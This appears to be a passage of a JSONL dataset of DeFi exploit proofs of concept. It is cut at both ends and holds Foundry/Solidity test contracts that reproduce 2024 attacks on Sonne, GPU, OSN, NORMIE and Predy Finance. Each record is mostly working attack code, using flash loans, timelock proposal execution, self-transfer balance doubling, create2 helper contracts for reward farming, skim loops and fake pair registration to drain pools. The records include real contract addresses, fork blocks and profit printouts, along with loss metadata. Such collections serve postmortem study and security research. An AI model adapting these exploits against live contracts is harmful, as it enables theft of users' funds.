CErc20Interface(soVELO).mint(400_000_001);\n\n uint256 Velo_amount_of_soVelo = IERC20(VELO_Token_V2).balanceOf(soVELO);\n\n console.log(\"Amount of VELO OF soVELO after minting\", Velo_amount_of_soVelo);\n\n console.log(\"Amount of soVELO been mint\", IERC20(soVELO).balanceOf(address(this)));\n\n // 5. Transfer All VELO_Token_V2 to soVELO\n\n uint256 VeloAmountOfthis = IERC20(VELO_Token_V2).balanceOf(address(this));\n\n IERC20(VELO_Token_V2).transfer(soVELO, VeloAmountOfthis);\n\n uint256 Velo_amount_of_soVelo_after_transfer = IERC20(VELO_Token_V2).balanceOf(soVELO);\n\n console.log(\"Amount of VELO OF soVELO after tranfer\", Velo_amount_of_soVelo_after_transfer);\n\n // 6. Enter Market\n\n address[] memory cTokens = new address[](2);\n cTokens[0] = soUSDC;\n cTokens[1] = soVELO;\n\n IUnitroller(Unitroller).enterMarkets(cTokens);\n\n CErc20Interface(soUSDC).borrow(768_947_220_961);\n\n uint256 usdc_amount_after_borrow = IERC20(USDC).balanceOf(address(this));\n\n console.log(\"usdc_amount_after_borrow\", usdc_amount_after_borrow);\n\n // 7. Redeem\n\n // uint256 Amount_redeemAllowed = ICointroller(Unitroller).redeemAllowed(soVELO,address(this),2);\n\n ICErc20Delegate(soVELO).redeemUnderlying(Velo_amount_of_soVelo_after_transfer - 1);\n\n // ICErc20Delegate(soVELO).redeemUnderlying(1);\n\n uint256 Velo_amount_of_Attacker_after_redeem = IERC20(VELO_Token_V2).balanceOf(address(this));\n\n console.log(\"Velo_amount_of_Attacker_after_redeem\", Velo_amount_of_Attacker_after_redeem);\n\n // // 8. LiquidateBorrow\n\n // ICErc20Delegate(soUSDC).liquidateBorrow(address(this), 4651761644569103, soVELO);\n\n // 9. Repay FlashLoan\n\n IERC20(VELO_Token_V2).transfer(VolatileV2_USDC_VELO, amount1 - 1);\n\n // 10. Repay FlashLoan Fee with USDC\n\n IERC20(USDC).transfer(VolatileV2_USDC_VELO, 44_656_863_632);\n\n // 11. Check profit from this attack\n\n uint256 Profit = IERC20(USDC).balanceOf(address(this));\n\n console.log(\"---------------------------------------------------\");\n\n console.log(\"USDC Profit from this attack: $\", Profit / 10 ** 6);\n\n console.log(\"---------------------------------------------------\");\n }\n}\n", "type": "exploit_poc", "protocol": "Sonne", "date": "2024-05", "file_name": "Sonne_exp.sol", "attack_vector": "flash_loan", "content_hash": "3d5684bcdd8a3be9", "collected_at": "2026-01-07T10:59:16.540531", "_source": "postmortems", "chain": "ethereum", "block_number": 120062493, "total_lost_raw": "~$20M USD$", "total_lost_usd": 20000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "~$20M USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // 1. Execute proposals\n\n bytes memory data1 = hex\"fca7820b0000000000000000000000000000000000000000000000000429d069189e0000\";\n\n bytes memory data2 = hex\"f2b3abbd0000000000000000000000007320bd5fa56f8a7ea959a425f0c0b8cac56f741e\";\n\n bytes memory data3 = hex\"55ee1fe100000000000000000000000022c7e5ce392bc951f63b68a8020b121a8e1c0fea\";\n\n bytes memory data4 = hex\"a76b3fda000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe5\";\n\n bytes memory data5 =\n hex\"e4028eee000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe500000000000000000000000000000000000000000000000004db732547630000\";\n\n t.execute(\n soVELO,\n 0,\n data1,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x476d385370ae53ff1c1003ab3ce694f2c75ebe40422b0ba11def4846668bc84c\n );\n\n t.execute(\n soVELO,\n 0,\n data2,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0xa57973a3d5a5d99d454c54117d7d30a57a8aca089891f505f120174216edaf42\n );\n\n t.execute(\n Unitroller,\n 0,\n data3,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x42408274449fd7829d7fb6abe2e89a618a853acf68d1553b2f6b8b671ac443fd\n );\n\n t.execute(\n Unitroller,\n 0,\n data4,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0xb02c80e66eae74aef841e5d998aef03d201de66590950b6353e9a28b289c8c8b\n );\n\n t.execute(\n Unitroller,\n 0,\n data5,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0xe50459992a5c9678d53efbffbf6b95687111e5789dada996e41fea2986077bed\n );\n\n // 2. Approve VELO to soVEOLO\n\n IERC20(VELO_Token_V2).approve(soVELO, type(uint256).max);\n\n // 3. FlashLoan\n\n VolatileV2Pool(VolatileV2_USDC_VELO).swap(0, 35_469_150_965_253_049_864_450_449, address(this), hex\"01\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$20M USD$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$20.00M", "content_richness_score": 8, "quality_estimate": "high", "title": "Sonne Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Profit : ~32K USD\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x2c0ada695a507d7a03f4f308f545c7db4847b2b2c82de79e702d655d8c95dadb\n// GUY : https://twitter.com/PeckShieldAlert/status/1788153869987611113\n// Vuln Contract: https://bscscan.com/address/0xf51cbf9f8e089ca48e454eb79731037a405972ce\n\ncontract GPUExploit is Test {\n IERC20 private gpuToken;\n IERC20 private busd;\n IUniswapV2Pair private busdWbnbPair;\n IUniswapV2Router private router;\n\n modifier balanceLog() {\n emit log_named_decimal_uint(\"Attacker BUSD Balance Before exploit\", getBalance(busd), 18);\n _;\n emit log_named_decimal_uint(\"Attacker BUSD Balance After exploit\", getBalance(busd), 18);\n }\n\n function setUp() external {\n vm.createSelectFork(\"bsc\", 38_539_572);\n gpuToken = IERC20(0xf51CBf9F8E089Ca48e454EB79731037a405972ce);\n busd = IERC20(0x55d398326f99059fF775485246999027B3197955);\n busdWbnbPair = IUniswapV2Pair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n busd.approve(address(router), type(uint256).max);\n gpuToken.approve(address(router), type(uint256).max);\n }\n\n function testExploit() public balanceLog {\n busdWbnbPair.swap(22_600 ether, 0, address(this), \"0x42\");\n }\n\n function getPath(address token0, address token1) internal pure returns (address[] memory) {\n address[] memory path = new address[](2);\n path[0] = token0;\n path[1] = token1;\n return path;\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n //Buy tokens with flashloaned busd\n _swap(amount0, busd, gpuToken);\n\n //Self transfer tokens to double tokens on each transfer\n for (uint256 i = 0; i < 87; i++) {\n gpuToken.transfer(address(this), getBalance(gpuToken));\n }\n\n //Sell all tokens to busd\n _swap(type(uint112).max, gpuToken, busd);\n\n //Payback flashloan\n uint256 feeAmount = (amount0 * 3) / 1000 + 1;\n busd.transfer(address(busdWbnbPair), amount0 + feeAmount);\n }\n\n function _swap(uint256 amountIn, IERC20 tokenA, IERC20 tokenB) private {\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn, 0, getPath(address(tokenA), address(tokenB)), address(this), block.timestamp\n );\n }\n\n function getBalance(\n IERC20 token\n ) private view returns (uint256) {\n return token.balanceOf(address(this));\n }\n}\n", "type": "exploit_poc", "protocol": "GPU", "date": "2024-05", "file_name": "GPU_exp.sol", "attack_vector": "flash_loan", "content_hash": "414e27a4b2d09043", "collected_at": "2026-01-07T10:59:16.540587", "_source": "postmortems", "chain": "bsc", "block_number": 38539572, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n busdWbnbPair.swap(22_600 ether, 0, address(this), \"0x42\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.36, "quality_estimate": "low", "title": "GPU Exploit (2024-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0xc7927a68464ebab1c0b1af58a5466da88f09ba9b30e6c255b46b1bc2e7d1bf09\n// GUY : https://twitter.com/SlowMist_Team/status/1787330586857861564\n// Profit : ~109K USD\n// Here is only one tx,total you can see here :https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502#tokentxns\n// REASON : Reward Distribution Problem\n// Distribution contract did not check the LP hold time or whether the reciever is contract or not\n// Actually there are 3 steps\n// TX1:create help contract,split money : https://app.blocksec.com/explorer/tx/bsc/0xbf22eabb5db8785642ba17930bddef48d0d1bb94ebd1e03e7faa6f2a3d1a5540\n// TX2:help contract add Liq : https://app.blocksec.com/explorer/tx/bsc/0x69c64b226f8bf06216cc665ad5e3777ad1b120909326f120f0816ac65a9099c0\n// TX3:attack tx\ninterface Imoney {\n function addLiq(\n uint256 value\n ) external;\n function cc() external;\n}\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);\n Uni_Pair_V2 wbnb_atm = Uni_Pair_V2(0x1F5b26DCC6721c21b9c156Bf6eF68f51c0D075b7);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 OSN = IERC20(0x810f4C6AE97BCC66DA5Ae6383CC31BD3670f6d13);\n IERC20 OSN_PAIR = IERC20(0x4EEDdCc7C8714A684311F8b01154B5686A0f612f);\n uint256 constant PRECISION = 10 ** 18;\n address test_contract = address(this);\n uint256 borrow_amount;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 38_474_365);\n deal(address(USDT), address(this), 0);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), 18);\n // borrow_amount = 500_000 ether;\n borrow_amount = 500_009_458_043_549_158_462_637;\n pool.flash(address(this), borrow_amount, 0, \"\");\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {\n OSN.approve(address(router), type(uint256).max - 1);\n USDT.approve(address(router), type(uint256).max - 1);\n OSN_PAIR.approve(address(router), type(uint256).max - 1);\n uint256 usdt_balance = USDT.balanceOf(address(this));\n swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);\n swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);\n swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);\n swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);\n swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);\n swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);\n swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);\n usdt_balance = USDT.balanceOf(address(this));\n uint256 osn_balance = OSN.balanceOf(address(this)) - 100 * 1_000_000_000_000_000; //use to transfer to contract\n console.log(usdt_balance, osn_balance);\n router.addLiquidity(\n address(USDT), address(OSN), usdt_balance, osn_balance, 0, 0, address(this), block.timestamp\n );\n console.log(OSN_PAIR.balanceOf(address(this)));\n uint256 pair_balance = OSN_PAIR.balanceOf(address(this));\n uint256 helpContractAmount = 100;\n uint256 i = 0;\n // step1 transfer money to the money contract\n while (i < helpContractAmount) {\n address money = cal_address(i);\n USDT.transfer(money, 1_000_000_000_000_000);\n OSN.transfer(money, 1_000_000_000_000_000);\n i++;\n }\n\n // step2 create contract & add liq\n create_contract(helpContractAmount);\n\n // step 3 attack logic\n i = 0;\n while (i < helpContractAmount) {\n address money = cal_address(i);\n OSN_PAIR.transfer(money, pair_balance);\n Imoney(money).addLiq(pair_balance);\n i++;\n }\n router.removeLiquidity(\n address(USDT), address(OSN), OSN_PAIR.balanceOf(address(this)), 0, 0, address(this), block.timestamp\n );\n i = 0;\n while (i < 10) {\n // Activate divided\n swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);\n swap_token_to_token(address(OSN), address(USDT), OSN.balanceOf(address(this)));\n i++;\n }\n i = 0;\n while (i < helpContractAmount) {\n // collect reward\n address money = cal_address(i);\n Imoney(money).cc();\n i++;\n }\n\n USDT.transfer(address(pool), borrow_amount + fee0);\n }\n\n function swap_token_to_ExactToken(address a, address b, uint256 amountout, uint256 amountInMax) internal {\n IERC20(a).approve(address(router), amountInMax);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapTokensForExactTokens(amountout, amountInMax, path, address(this), block.timestamp);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n function create_contract(\n uint256 times\n ) internal {\n uint256 i = 0;\n while (i < times) {\n bytes memory bytecode = type(Money).creationCode;\n uint256 _salt = i;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n // console.log(hack_contract);\n address addr;\n // Use create2 to send money first.\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n i++;\n }\n }\n\n function cal_address(\n uint256 time\n ) internal returns (address) {\n bytes memory bytecode = type(Money).creationCode;\n uint256 _salt = time;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n return hack_contract;\n }\n}\n\ncontract Money {\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 OSN = IERC20(0x810f4C6AE97BCC66DA5Ae6383CC31BD3670f6d13);\n IERC20 OSN_PAIR = IERC20(0x4EEDdCc7C8714A684311F8b01154B5686A0f612f);\n address owner;\n\n constructor() {\n owner = msg.sender;\n OSN_PAIR.approve(address(router), type(uint256).max - 1);\n USDT.approve(address(router), type(uint256).max - 1);\n OSN.approve(address(router), type(uint256).max - 1);\n router.addLiquidity(address(USDT), address(OSN), 100_000, 100_000, 0, 0, address(this), block.timestamp);\n }\n\n function addLiq(\n uint256 value\n ) public {\n router.removeLiquidity(address(USDT), address(OSN), 35_524, 0, 0, address(this), block.timestamp);\n OSN_PAIR.transfer(address(owner), value);\n }\n\n function cc() public {\n router.addLiquidity(address(USDT), address(OSN), 100_000, 100_000, 0, 0, address(this), block.timestamp);\n USDT.transfer(address(owner), USDT.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "OSN", "date": "2024-05", "file_name": "OSN_exp.sol", "attack_vector": null, "content_hash": "f47c6f21459cbf06", "collected_at": "2026-01-07T10:59:16.540653", "_source": "postmortems", "chain": "bsc", "block_number": 38474365, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3, "quality_estimate": "low", "title": "OSN Exploit (2024-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n// @KeyInfo - Total Lost : \t$490K\n// Attack Tx : https://app.blocksec.com/explorer/tx/base/0xa618933a0e0ffd0b9f4f0835cc94e523d0941032821692c01aa96cd6f80fc3fd\n\n// Price : https://dexscreener.com/base/0x24605e0bb933f6ec96e6bbbcea0be8cc880f6e6f\n\n// @Exploiter sent a message to Normie Deployer:\n// https://basescan.org/tx/0x587f14b7ffb30b5013ab0db02e9bc94183817ef34c24a9595f33277e752f81eb\n\n// @Info\n// https://x.com/WuBlockchain/status/1794619680428282138\n// https://x.com/lookonchain/status/1794680612399542672\n\ncontract ContractTest is Test {\n address SushiRouterv2 = 0x6BDED42c6DA8FBf0d2bA55B2fa120C5e0c8D7891;\n\n address SLP = 0x24605E0bb933f6EC96E6bBbCEa0be8cC880F6E6f;\n\n address UniswapV3Pool = 0x67ab0E84C7f9e399a67037F94a08e5C664DC1C66;\n\n address WETH = 0x4200000000000000000000000000000000000006;\n\n address NORMIE = 0x7F12d13B34F5F4f0a9449c16Bcd42f0da47AF200;\n\n function setUp() public {\n vm.createSelectFork(\"base\", 14_952_783 - 1);\n\n uint256 ETH_balance_transfer_to_Zero_Address = address(this).balance - 3 ether;\n\n payable(address(0)).call{value: ETH_balance_transfer_to_Zero_Address}(\"\");\n }\n\n function testExploit() public {\n console.log(\"---------------------------------------------------\");\n\n console.log(\"ETH Balance before this attack: \", address(this).balance / 1e18);\n\n console.log(\"---------------------------------------------------\");\n\n // 1. Swap 2 ETH to NORMIE on SushiV2\n address[] memory path1 = new address[](2);\n\n path1[0] = WETH;\n path1[1] = NORMIE;\n\n Uni_Router_V2(SushiRouterv2).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 2 ether}(\n 0, path1, address(this), block.timestamp\n );\n\n uint256 NORMIE_amount_after_swapping = IERC20(NORMIE).balanceOf(address(this));\n\n console.log(\"NORMIE amount after swapping\", NORMIE_amount_after_swapping / 10 ** 9);\n\n // 2. Flash Loan from SushiV2 Pair\n IUniswapV2Pair(SLP).swap(0, 5_000_000_000_000_000, address(this), hex\"01\");\n\n // 4. Flash Loan from UniswapV3Pool\n\n Uni_Pair_V3(UniswapV3Pool).flash(address(this), 0, 11_333_141_501_283_594, hex\"\");\n }\n\n function uniswapV2Call(address, uint256, uint256, bytes calldata) external {\n // 3. Transfer all NORMIE to Pair\n\n uint256 NORMIE_amount_after_flashLoan_from_SushiV2 = IERC20(NORMIE).balanceOf(address(this));\n\n console.log(\"NORMIE amount after FlashLoan From SushiV2\", NORMIE_amount_after_flashLoan_from_SushiV2 / 10 ** 9);\n\n IERC20(NORMIE).transfer(SLP, NORMIE_amount_after_flashLoan_from_SushiV2);\n }\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n // 5. Approve NORMIE to SushiRouterv2\n\n IERC20(NORMIE).approve(SushiRouterv2, type(uint256).max);\n\n address[] memory path2 = new address[](2);\n\n path2[0] = NORMIE;\n path2[1] = WETH;\n\n // 6. Swap 80% NORMIE to WETH on SushiV2\n\n Uni_Router_V2(SushiRouterv2).swapExactTokensForETHSupportingFeeOnTransferTokens(\n 9_066_513_201_026_875, 0, path2, address(this), block.timestamp\n );\n\n // 7. Trasnfer remian NORMIE to slp\n\n uint256 NORMIE_amount_after_swap_from_SushiV2 = IERC20(NORMIE).balanceOf(address(this));\n\n console.log(\"NORMIE amount after swap From SushiV2\", NORMIE_amount_after_swap_from_SushiV2 / 10 ** 9);\n\n IERC20(NORMIE).transfer(SLP, NORMIE_amount_after_swap_from_SushiV2);\n\n // 8 . Looping tranfer and skim for 100 times\n\n for (uint256 i; i < 50; ++i) {\n IUniswapV2Pair(SLP).skim(address(this));\n\n IERC20(NORMIE).transfer(SLP, NORMIE_amount_after_swap_from_SushiV2);\n }\n\n // 9. Skim but not tranfer again\n\n IUniswapV2Pair(SLP).skim(address(this));\n\n // 10. Swap 0.5 ETH to NORMIE on SushiV2\n\n address[] memory path1 = new address[](2);\n\n path1[0] = WETH;\n path1[1] = NORMIE;\n\n Uni_Router_V2(SushiRouterv2).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 2 ether}(\n 0, path1, address(this), block.timestamp\n );\n\n // 11. Repay FlashLoan to UniV3Pool\n\n IERC20(NORMIE).transfer(UniswapV3Pool, 11_446_472_916_296_430);\n\n // 12. Calcutelate Profit\n\n console.log(\"---------------------------------------------------\");\n\n console.log(\"ETH Profit after this attack: \", address(this).balance / 1e18);\n\n console.log(\"---------------------------------------------------\");\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "NORMIE", "date": "2024-05", "file_name": "NORMIE_exp.sol", "attack_vector": "flash_loan", "content_hash": "5868d184bf5e8154", "collected_at": "2026-01-07T10:59:16.540716", "_source": "postmortems", "chain": "base", "block_number": 14952783, "total_lost_raw": "$490K", "total_lost_usd": 490000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/base/0xa618933a0e0ffd0b9f4f0835cc94e523d0941032821692c01aa96cd6f80fc3fd", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "high", "severity_raw": "$490K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n console.log(\"---------------------------------------------------\");\n\n console.log(\"ETH Balance before this attack: \", address(this).balance / 1e18);\n\n console.log(\"---------------------------------------------------\");\n\n // 1. Swap 2 ETH to NORMIE on SushiV2\n address[] memory path1 = new address[](2);\n\n path1[0] = WETH;\n path1[1] = NORMIE;\n\n Uni_Router_V2(SushiRouterv2).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 2 ether}(\n 0, path1, address(this), block.timestamp\n );\n\n uint256 NORMIE_amount_after_swapping = IERC20(NORMIE).balanceOf(address(this));\n\n console.log(\"NORMIE amount after swapping\", NORMIE_amount_after_swapping / 10 ** 9);\n\n // 2. Flash Loan from SushiV2 Pair\n IUniswapV2Pair(SLP).swap(0, 5_000_000_000_000_000, address(this), hex\"01\");\n\n // 4. Flash Loan from UniswapV3Pool\n\n Uni_Pair_V3(UniswapV3Pool).flash(address(this), 0, 11_333_141_501_283_594, hex\"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "$490K", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/base/0xa618933a0e0ffd0b9f4f0835cc94e523d0941032821692c01aa96cd6f80fc3fd", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$490.0K", "content_richness_score": 8.37, "quality_estimate": "high", "title": "NORMIE Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : $464K\n// Attacker : https://arbiscan.io/address/0x76b02ab483482740248e2ab38b5a879a31c6d008\n// Attack Contract : https://arbiscan.io/address/0xb79714634895f52a4f6a75eceb58c96246370149\n// Vulnerable Contract : https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c\n// Attack Tx : https://arbiscan.io/tx/0xbe163f651d23f0c9e4d4a443c0cc163134a31a1c2761b60188adcfd33178f50f\n\n// @Info\n// Vulnerable Contract Code : https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ncontract PredyFinance is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 211_107_441;\n IERC20 USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);\n IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IPredyPool predyPool = IPredyPool(0x9215748657319B17fecb2b5D086A3147BFBC8613);\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(USDC);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(predyPool), \"PredyPool\");\n }\n\n function testExploit() public balanceLog {\n USDC.approve(address(predyPool), type(uint256).max);\n WETH.approve(address(predyPool), type(uint256).max);\n\n //implement exploit code here\n AddPairLogic.AddPairParams memory addPairParam = AddPairLogic.AddPairParams({\n marginId: address(WETH),\n poolOwner: address(this),\n uniswapPool: address(0xC6962004f452bE9203591991D15f6b388e09E8D0),\n priceFeed: address(this),\n whitelistEnabled: false,\n fee: 0,\n assetRiskParams: Perp.AssetRiskParams({\n riskRatio: 100_000_001,\n debtRiskRatio: 0,\n rangeSize: 1000,\n rebalanceThreshold: 500,\n minSlippage: 1_005_000,\n maxSlippage: 1_050_000\n }),\n quoteIrmParams: InterestRateModel.IRMParams({\n baseRate: 10_000_000_000_000_000,\n kinkRate: 900_000_000_000_000_000,\n slope1: 500_000_000_000_000_000,\n slope2: 1_000_000_000_000_000_000\n }),\n baseIrmParams: InterestRateModel.IRMParams({\n baseRate: 10_000_000_000_000_000,\n kinkRate: 900_000_000_000_000_000,\n slope1: 500_000_000_000_000_000,\n slope2: 1_000_000_000_000_000_000\n })\n });\n uint256 pairId = predyPool.registerPair(addPairParam); // register pair, the owner of the pair is attack contract\n\n IPredyPool.TradeParams memory tradeParams =\n IPredyPool.TradeParams({pairId: pairId, vaultId: 0, tradeAmount: 0, tradeAmountSqrt: 0, extraData: \"\"});\n predyPool.trade(tradeParams, \"\"); // set the attack contract as the locker\n\n predyPool.withdraw(pairId, true, WETH.balanceOf(address(predyPool))); // withdraw the LP to the attacker\n predyPool.withdraw(pairId, false, USDC.balanceOf(address(predyPool))); // withdraw the LP to the attacker\n }\n\n function predyTradeAfterCallback(\n IPredyPool.TradeParams memory tradeParams,\n IPredyPool.TradeResult memory tradeResult\n ) external {\n predyPool.take(true, address(this), WETH.balanceOf(address(predyPool))); // take the asset to the attacker\n predyPool.supply(tradeParams.pairId, true, WETH.balanceOf(address(this))); // supply the asset as LP and bypass the check in the function PositionCalculator.checkSafe()\n\n predyPool.take(false, address(this), USDC.balanceOf(address(predyPool))); // take the asset to the attacker\n predyPool.supply(tradeParams.pairId, false, USDC.balanceOf(address(this))); // supply the asset as LP and bypass the check in the function finalizeLock()\n }\n\n function getSqrtPrice() external view returns (uint256) {\n return 40_000_000_000;\n }\n}\n\nlibrary AddPairLogic {\n struct AddPairParams {\n address marginId;\n address poolOwner;\n address uniswapPool;\n address priceFeed;\n bool whitelistEnabled;\n uint8 fee;\n Perp.AssetRiskParams assetRiskParams;\n InterestRateModel.IRMParams quoteIrmParams;\n InterestRateModel.IRMParams baseIrmParams;\n }\n}\n\nlibrary Perp {\n struct AssetRiskParams {\n uint128 riskRatio;\n uint128 debtRiskRatio;\n int24 rangeSize;\n int24 rebalanceThreshold;\n uint64 minSlippage;\n uint64 maxSlippage;\n }\n}\n\nlibrary InterestRateModel {\n struct IRMParams {\n uint256 baseRate;\n uint256 kinkRate;\n uint256 slope1;\n uint256 slope2;\n }\n}\n\ninterface IPredyPool {\n struct TradeParams {\n uint256 pairId;\n uint256 vaultId;\n int256 tradeAmount;\n int256 tradeAmountSqrt;\n bytes extraData;\n }\n\n struct TradeResult {\n Payoff payoff;\n uint256 vaultId;\n int256 fee;\n int256 minMargin;\n int256 averagePrice;\n uint256 sqrtTwap;\n uint256 sqrtPrice;\n }\n\n struct Payoff {\n int256 perpEntryUpdate;\n int256 sqrtEntryUpdate;\n int256 sqrtRebalanceEntryUpdateUnderlying;\n int256 sqrtRebalanceEntryUpdateStable;\n int256 perpPayoff;\n int256 sqrtPayoff;\n }\n\n function registerPair(\n AddPairLogic.AddPairParams memory addPairParam\n ) external returns (uint256);\n\n function trade(\n TradeParams memory tradeParams,\n bytes memory settlementData\n ) external returns (TradeResult memory tradeResult);\n\n function take(bool isQuoteAsset, address to, uint256 amount) external;\n\n function supply(\n uint256 pairId,\n bool isQuoteAsset,\n uint256 supplyAmount\n ) external returns (uint256 finalSuppliedAmount);\n\n function withdraw(\n uint256 pairId,\n bool isQuoteAsset,\n uint256 withdrawAmount\n ) external returns (uint256 finalBurnAmount, uint256 finalWithdrawAmount);\n}\n", 